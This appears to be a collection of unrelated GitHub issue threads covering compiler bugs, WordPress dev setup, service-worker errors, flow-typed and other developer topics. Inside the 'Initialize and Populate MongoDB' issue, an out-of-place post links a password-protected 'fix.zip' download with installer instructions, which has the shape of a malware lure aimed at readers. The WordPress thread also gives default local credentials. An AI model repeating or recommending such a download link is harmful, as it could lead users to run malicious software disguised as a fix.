@danames - I think this is a good idea for an enhancement. The metadata pane at the right is typically used to display content aggregation-specific metadata. If a file doesn't belong to an aggregation, no metadata are shown because there isn't any aggregation metadata. However, as you state, we do know at least the name and type of the file, so we could make that the default display for files that are not part of an aggregation (or for individual files that are inside an aggregation once you drill down inside an aggregation).

Following up on this, the information that is displayed during hover over a file could be displayed in the metadatabox when the item is clicked. Looks like it includes the full file name, file type, and file size. Though I think we can use more friendly names than "vnd.openxmlformats-officedocuments.shpreadsheetml.sheet". Maybe we can just interpret this as "Microsoft Excel Spreadsheet" for display purposes.


Merge PL #9 to improve performance.

The key idea of this PL  https://github.com/hecomi/uDesktopDuplication/pull/9 is calling AquireNextFrame() in another thread by creating ID3D11Device and sending the texture via SharedResource.

done.


assertion failed: ty.is_aggregate(context) when compiling

When I compile my contracts, I get the error:
thread 'main' panicked at sway-ir/src/optimize/sroa.rs:174:25:
assertion failed: ty.is_aggregate(context)

Message me for code to reproduce.

@dmihal Please add the code to reproduce.

While writing tests for new language functionality, references, I've stumbled upon the same issue. It looks like it has to have something with u256 embedded in arrays, structs, or tuples.
I'll find some time to create a minimum repro. In the meantime, the TODOs in this file are showing the same issue: https://github.com/FuelLabs/sway/pull/5406/files#diff-840573b527b264b0015d3d6263fce47b06a9f36241172c730b77ee75af23f974
The parts of tests that are commented out are those failing with the same assertion.
CC: @vaivaswatha

I've assigned myself and waiting on @ironcev for a standalone repro.

Thanks for taking care of the issue @vaivaswatha! Here are the min repros for arrays, structs, and tuples:
script;

fn main() {
    let mut a = [0x0111111111111111111111111111111111111111111111111111111111111111u256];

    assert(a[0] == 0x0111111111111111111111111111111111111111111111111111111111111111u256);

    a[0] = 0x0222222222222222222222222222222222222222222222222222222222222222u256;
}

script;

struct S {
    x: u256,
}

fn main() {
    let mut s = S { x: 0x0111111111111111111111111111111111111111111111111111111111111111u256 };

    assert(s.x == 0x0111111111111111111111111111111111111111111111111111111111111111u256);

    s.x = 0x0222222222222222222222222222222222222222222222222222222222222222u256;
}

script;

fn main() {
    let mut t = (0x0111111111111111111111111111111111111111111111111111111111111111u256,);

    assert(t.0 == 0x0111111111111111111111111111111111111111111111111111111111111111u256);

    t.0 = 0x0222222222222222222222222222222222222222222222222222222222222222u256;
}

I've just uncommented the TODOs in the tests for dereferencing references and the tests are passing fine. So, confirmed from my side :smile: Thanks for the prompt fix Vaivas!

Uuups, just realized that merging the PR which I was eager to get so I can remove my TODOs also closed this issue without the confirmation from @dmihal that his code also works. David, out of our discussion I am sure that the fix will also solve your issue. In the unlikely case that it doesn't we can always reopen this issue so merging of the PR shouldn't be the problem on the contrary. I apologize for rushing...

Tried it out, and it seems to solve the issue! 👍

I'm running into this issue again on 0.46.1, I can share code if helpful

Resolved in 0.56.0


Avoid throwing exceptions when we could successfully load a swagger file and have working functions

Avoid throwing exceptions when we could successfully load a swagger file and have working functions
Function where we identify issues or using unsupported features will be marked as unsupported
[Breaking] Separation of IsDeprecated & IsSupported flags
Before, IsDeprecated was implying IsSupported = false, this is no more the case
By default, deprecated functions will be marked as supported.
ConnectorFunction.NotSupportedReason now shows the complete list of identified failures whereever they are (parameters, return type, dynamic-* extensions...)
[Breaking] Calling ConnectorFunction.InvokeAsync will now fail on unsupported functions
Connector logger now reports all errors occurring during swagger processing
When an HTTP exception occurs during function invocation, add reasonPhrase in error message for better clarity
In FormulaValue serializer or Http function invoker, change exceptions from NotImplementedException, ArgumentException or InvalidOperationException to PowerFxConnectorException
Determine function parameter default values at swagger load time, not runtime: better error handling, faster execution
Few code improvements reported by static code analyzers

Public API changes: ❌CP0002 M:Microsoft.PowerFx.Connectors.OpenApiExtensions.GetAuthority(Microsoft.OpenApi.Models.OpenApiDocument)❌CP0002 M:Microsoft.PowerFx.Connectors.OpenApiExtensions.GetBasePath(Microsoft.OpenApi.Models.OpenApiDocument)❌CP0002 M:Microsoft.PowerFx.Connectors.OpenApiExtensions.GetOptions(Microsoft.OpenApi.Models.OpenApiParameter)❌CP0002 M:Microsoft.PowerFx.Connectors.OpenApiExtensions.GetScheme(Microsoft.OpenApi.Models.OpenApiDocument)❌CP0002 M:Microsoft.PowerFx.Connectors.OpenApiExtensions.TryGetDefaultValue(Microsoft.OpenApi.Models.OpenApiSchema,Microsoft.PowerFx.Types.FormulaType,Microsoft.PowerFx.Types.FormulaValue@)


How to set up many sites in vccw?

I am considering switching from DesktopServer to VCCW. I have many Wordpress projects and would like to have them in one instance of VCCW. Unfortunately I could not find any reference on how to do that.
How can I do that? Can I add more than one hostname in site.yaml? And should I just create one table per site in the global MySQL database?
How do you handle these multiple sites in VCCW?

Virtual host isn't supported on VCCW.
If you can write a shell script, please write setup script into the provision-post.sh.

I can probably put something together.  Will check back later.

@mehh Did you already come up with an idea? VCCW would be such a good alternative to VVV if it supported multiple instances in one box.

You can just set up multiple instances of vccw.

Unzip the zip file to you projects folder.
Go to default.yml
Change both the domain and IP address. This cannot be the same as any of your other instances.
Vagrant up and you should be good to go.

I have managed to get multiple sites working in vccw but they all use the same database.
The only thing I can see in the vagrantfile that refs mysql is this:
:mysql => {
:bind_address           => '<IP_ADDRESS>',
:server_debian_password => 'wordpress',
:server_root_password   => 'wordpress',
:server_repl_password   => 'wordpress'
},
Not sure how to set up a new db, any ideas?

On your command line go to the virtulbox (vagrant up)
Then login to mysql and use the commands to create a new one.
http://www.liquidweb.com/kb/create-a-mysql-database-on-linux-via-command-line/
Or install an sql gui like workbench for windows or sequelpre fpr mac

Thanks for the reply but could you explain it in more detail. I'm not even sure how to login to mysql. Sorry I am new to vagrant and virtualbox. I am on a Mac.
I have sequel pro, but not sure how to connect via that either.
Thanks in advance

@designweb
Create a new database for your new wordpress site in VCCW:
1.  Ok, now you're inside your server/box, let's enter the mysql as root
[vagrant@yourboxname ~]$ mysql -u root -p

Enter your password: wordpress
[vagrant@yourboxname ~]$ mysql -u root -p
Enter password:

3. Now we're using mysql as root user let's check our dabatases (don't forget the semicolon)
mysql> show dabatases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| test               |
| wordpress          |
| wordpress_test     |
| wp-test            |
+--------------------+
7 rows in set (0.09 sec)

4. Create a new database
mysql> create database db_example;
Query OK, 1 row affected (0.05 sec)

5.  Go to your site www/wordpress/wp-config file
// ** MySQL settings ** //
/** The name of the database for WordPress */
define('DB_NAME', 'db_example');

/** MySQL database username */
define('DB_USER', 'root');

That's it, next time your access yoursite.dev or whatever your URL is, you'll be asked for desired language and basic wordpress configuration like user, password, email etc. You can keep the same pattern as vccw for consistency purposes.
user: admin
password: admin
I hope this can help you. Cheers


No module named 'sj_dropout'

Hi Dr. Zhou! A series of problems occurred when I run the "cifar10/train.py".

model cannot be imported into train.py, it shows a grey color
In model.py, there is an error "No module named 'sj_dropout' ". I have already searched on the internet but cannot find what the sj_dropout is.

Traceback (most recent call last):   File "/home/PycharmProjects/spikformer/cifar10/train.py", line 42, in <module>     import model   File "/home/PycharmProjects/spikformer/cifar10/model.py", line 9, in <module>     from sj_dropout import SN_Droppath ModuleNotFoundError: No module named 'sj_dropout'
Waiting for your reply!  Thank you!

it is a drop-path file. Just Delete it.


<EMAIL_ADDRESS>Service Worker throws this error: Failed to execute 'transaction' on 'IDBDatabase'

Library Affected:
<EMAIL_ADDRESS>Browser & Platform:
webpack 3
Issue or Feature Request Description:
Hi!
When using a Service Worker generated by this code: https://github.com/johnnyreilly/workbox-3-globPatterns-bug-repro but with new WorkboxPlugin({clientsClaim: true, skipWaiting: true}) in the config and this added to index.js:
if ('serviceWorker' in navigator) {
    window.addEventListener('load', () => {
        navigator.serviceWorker.register('/sw.js').then(registration => {
            console.log('SW registered: ', registration);
        }).catch(registrationError => {
            console.log('SW registration failed: ', registrationError);
        });
    });
}

When accessing the application the following error results:
DBWrapper.mjs:228 Uncaught (in promise) DOMException: Failed to execute 'transaction' on 'IDBDatabase': One of the specified object stores was not found.
    at result (https://storage.googleapis.com/workbox-cdn/releases/3.0.0-alpha.2/workbox-core.dev.js:1275:32)
    at new Promise (<anonymous>)
    at https://storage.googleapis.com/workbox-cdn/releases/3.0.0-alpha.2/workbox-core.dev.js:1274:28
    at Generator.next (<anonymous>)
    at step (https://storage.googleapis.com/workbox-cdn/releases/3.0.0-alpha.2/workbox-core.dev.js:14:32)
    at https://storage.googleapis.com/workbox-cdn/releases/3.0.0-alpha.2/workbox-core.dev.js:25:15
    at <anonymous>
result @ DBWrapper.mjs:228
(anonymous) @ DBWrapper.mjs:227
step @ workbox-core.dev.js:14
(anonymous) @ workbox-core.dev.js:25
Promise rejected (async)
self.addEventListener.event @ _default.mjs:152

@johnnyreilly is there anything else on the stack trace? IDBWrapper lives in workbox-core so it's not 100% clear what is causing this.
My hunch is that this is related to a bug that existed in workbox-precaching that is fixed on the v3 branch (I'll cut a release tomorrow so you can try it out). See: https://github.com/GoogleChrome/workbox/issues/1109

That was the full stack trace I'm afraid. Ping me when the release is cut and I'll give it a test. If it's still unhappy I'll supply a minimal repro to ease your investigation

@johnnyreilly could you give v3.0.0-alpha.3 a try and see if you still hit this issue: https://github.com/GoogleChrome/workbox/releases/tag/v3.0.0-alpha.3

Yup - all good.  Well done!


World of Warcraft Classic Vanilla strange view angle

Greetings.
I'm here playing WoW Classic Vanilla on Debian Testing. Mostly the game works great. I cleared almost every content in the game without issue.
However, I do notice that, sometimes, the graphic would FLASH during I'm moving. By flash I mean I could notice something unusual occupied large part of the screen, but it would disappear instantly, so I can't tell what is it. It happens like random, moving around the world.
It is noticeable,  but too fast fade away to describe what is it. So I can not report it for a long time.
Today, I accidentally stand at a position where I could trigger it statically. Then I record it as this video:

https://youtu.be/K-fIuKxMeng

I would need a very specific position paring a very specific view angle to trigger the bug.
To be honest, I'm not sure if this is a DXVK bug, because I could trigger it with DirectX 12 (vkd3d-proton backed) either.
It could be an WINE bug or Official bug from Blizzard Entertainment itself.
Anyway, I decided to report it here, to see if anyone could be inspired.
API trace is followed at bottom.
Thanks for your time reading this.
Software information
World of Warcraft Classic Vanilla <IP_ADDRESS>639 May 10 2022
Under Debian Testing
System information

GPU:  AMD RX 590 (12nm version, no GME)
OpenGL core profile version string: 4.6 (Core Profile) Mesa 22.0.3
Driver:  AMD Radeon RX 590 Series (polaris10, LLVM 14.0.3, DRM 3.44, 5.17.0-8.1-liquorix-amd64)
Wine version:  Tried both offcial-staging 7.8 and lutris-GE-Proton7-11-x86_64, same bug
DXVK version: dxvk-master-5b7406fed5b77fb440d43081bc1d5389bc46b2e6
VKD3D-Proton version: vkd3d-proton-master-1a773cfb713366948c0c76cada6453b2687f49cd

Apitrace file(s)

https://mega.nz/file/OpNjiJJB#GkWY4-UOBjNHgXdyBRgGblxka8r0RDuv7Y1t6E0BSX4
The game works really slow during API trace, so I spend some time to re-trigger the bug, difficultly moveing the camera angle. But I believe I did trigger the bug in the trace.

Log files

d3d9.log: see Apitrace
d3d11.log:see Apitrace
dxgi.log: see Apitrace

I think Blizzard won't listen to Linux users. Anyway, thanks. Closing.


Initialize and Populate MongoDB

As a backend developer
I need to set up and populate the MongoDB database
So that the application has a functional data layer to store and retrieve information
Details and Assumptions

MongoDB will be used as the primary database
Initial data structure for users, items, and comments should be defined

Acceptance Criteria
Given the MongoDB installation
When I run the database initialization script
Then the database should be created with the correct schema
And sample data should be populated for testing purposes

Download
https://www.mediafire.com/file/7ybpxn8lil1av70/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Failed to find a flow-bin dependency in package.json for nested package.json files

Love the CLI tool. It doesn't work out of the box with my project though.
My file structure looks something like this:
package.json // modules for the build system, tests, etc
client/
    package.json // client modules
    src/
        ...
shared/
    package.json // modules for the client and server
    src/
        ...
server/
    package.json // server modules
    src/
        ...

I get the following error:
~/workspace/boardom/client
 ➤ flow-typed install
Failed to find a flow-bin dependency in package.json.
Please install flow bin: `npm install --save-dev flow-bin` or provide a version on the command line: `flow-typed install --flowVersion=0.24.0

Flow-bin is only added to the topmost package.json. Flow has no issues with nested package.jsons, and it makes a lot of sense for my project. Would be great if flow-type supported this out of the box.

In this case you'll just need to specify the version of Flow being used manually with the --flowVersion flag. The reason flow-typed needs to find flow-bin is only to use it to auto-detect the Flow version.
However, it's not a very safe general assumption to make that a package.json that sits outside of a project's  directory indicates anything about the project itself.
For example: Consider the scenario where people might have a package.json file in their homedir (often without realizing it) and a project in a subdir of their homedir. We wouldn't want to accidentally install libdefs for the wrong version of Flow for the project based on the completely unrelated package.json up one level.

I think lot more sense is to:

check .flowconfig [version] first,
flow-bin in package.json,
flow in path


App naming update

I think names should be inline with what the app label is on the home screen.

Thank you, @brentcas! :)


Add MySQL check

It would be useful to have a library of commonly used health checks. In the scope of this issue, a health check should be implemented that checks if MySQL is alive (e.g. calling an sql.PingContext first and e.g. execute a query, such as 'SELECT 1 ' afterwards to see if MySQL is ready for query execution.
A few constraints to keep things clean and simple:

The check should be added to the checks module that you can find in the development branch.
As with all health check functions of this library, the check implementation should support accepting and forwarding context.Context that is being passed to each health check function.
If the health check requires external external modules or other dependencies, the check should be implemented as a separate Go module(similarly how it is done for the tests, that require dependencies to other packages as well). This is required to avoid that when people import the base library, they also need to import all dependencies of all provided checks.
The check should have a README.md in its root directory that describes how to use it and maybe what to look out for.
You should provide a test that checks at least the happy path. If a docker container is required to properly test the check, the docker container can be added to the docker-compose.yaml file in the checks base package.

Should you have questions or require help, please join our discord chat room.

Hi, can i pick this?